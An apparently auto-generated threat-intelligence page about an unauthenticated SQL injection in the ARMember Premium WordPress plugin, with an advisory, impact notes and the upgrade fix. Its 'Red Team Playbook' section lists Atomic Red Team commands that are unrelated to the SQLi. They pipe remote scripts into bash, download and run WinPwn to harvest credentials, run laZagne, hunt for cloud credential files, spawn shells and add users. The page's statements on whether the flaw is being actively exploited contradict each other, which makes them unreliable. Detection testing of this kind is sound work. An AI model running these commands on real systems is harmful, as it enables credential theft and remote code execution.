CVE-2026-5073
Overview
This vulnerability is a SQL Injection affecting the ARMember Premium WordPress plugin, specifically within the arm_get_directory_members() function. The root cause is insufficient escaping and lack of proper parameterization of user-supplied 'order' and 'orderby' inputs in the SQL query construction. The flaw resides in the 'arm_directory_paging_action' AJAX handler, which processes these parameters without adequate sanitization.
Vulnerability Description
The ARMember Premium plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the 'arm_directory_paging_action' AJAX action in all versions up to, and including, 7.3.1. This is due to insufficient escaping on the user-supplied 'order' and 'orderby' parameters and the lack of sufficient preparation on the existing SQL query in the `arm_get_directory_members()` function. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated attacker can exploit this vulnerability to perform unauthorized SQL queries on the backend database, potentially extracting sensitive information such as user data or membership details. No authentication or user interaction is required to trigger the flaw. This can lead to data breaches compromising the confidentiality of the membership system's stored information, impacting business operations reliant on secure user data management.
Solution
Users should upgrade the ARMember Premium plugin to version 7.3.2 or later, where the issue is addressed. Detailed patch instructions and advisories are available through Wordfence's vulnerability intelligence portal at https://www.wordfence.com/threat-intel/vulnerabilities/id/b5f6d2a2-ad3e-4afc-b6fd-745881d85b6b. No official workaround is documented; applying the vendor's update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the ARMember Premium plugin for WordPress stems from an SQL Injection flaw that arises from improper handling of user-supplied input within the 'order' parameter of the 'arm_directory_paging_action' AJAX action. Specifically, the issue lies in the insufficient escaping of the 'order' and 'orderby' parameters, coupled with inadequate preparation of the SQL query in the `arm_get_directory_members()` function. This oversight allows an attacker to manipulate the SQL query by injecting malicious code, potentially leading to unauthorized access to sensitive data stored in the database. The vulnerability is present in all versions up to and including 7.3.1, making it critical for users of the plugin to address this issue promptly.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the AJAX interface exposed by the plugin. An unauthenticated attacker can craft a malicious request that includes specially formatted input in the 'order' parameter. By doing so, the attacker can append additional SQL queries to the existing ones, enabling them to extract sensitive information such as user credentials, personal data, or other confidential records from the database. This type of attack is particularly insidious because it does not require authentication, allowing attackers to exploit the vulnerability without needing valid user credentials or access to the WordPress admin panel.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on the ARMember Premium plugin for managing memberships and user data. Successful exploitation could lead to data breaches, where sensitive information is exposed or stolen, potentially resulting in significant financial losses, reputational damage, and legal repercussions. Organizations may face compliance issues, particularly if they handle personal data subject to regulations such as GDPR or HIPAA. The risk is compounded by the fact that many WordPress sites are targeted by automated bots that scan for known vulnerabilities, increasing the likelihood of exploitation.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is essential to update the ARMember Premium plugin to the latest version, as this will include patches that address the SQL Injection flaw. Regularly monitoring and applying updates to all WordPress plugins is a best practice that can significantly reduce the attack surface. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Organizations should also conduct regular security assessments, including penetration testing and code reviews, to identify and remediate vulnerabilities proactively. Finally, implementing input validation and parameterized queries in the code can help prevent SQL Injection attacks by ensuring that user inputs are properly sanitized and handled.
In conclusion, the SQL Injection vulnerability in the ARMember Premium plugin poses a significant threat to WordPress sites utilizing this software. By understanding the technical details, potential attack vectors, real-world implications, and effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities. Taking proactive measures to secure web applications is crucial in today’s threat landscape, where cyberattacks are increasingly sophisticated and prevalent.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-5073, with telemetry indicating a significant surge in attempts to exploit the SQL Injection vulnerability in the ARMember Premium WordPress plugin. Concurrently, the Exploit Prediction Scoring System (EPSS) score has risen substantially, reflecting an increased likelihood of exploitation in the wild. While no new exploit variants or proof-of-concept codes have been observed, the elevated EPSS score and upward trend in detection suggest growing adversary interest and reconnaissance efforts targeting this vulnerability. This shift underscores an elevated risk environment for organizations running affected versions of the plugin, as the increased exploitation attempts may presage more widespread or automated attack campaigns. Consequently, the threat level associated with CVE-2026-5073 should be considered heightened, warranting closer monitoring despite the absence of confirmed active exploitation beyond scanning and probing activities.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Active exploitation confirmed — vendor: reputeinfosystems, product: ARMember Premium plugin for WordPress
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-5073 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/b5f6d2a2-ad3e-4afc-b6fd-745881d85b6b?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/armember-complete-wordpress-membership-system/17785056 |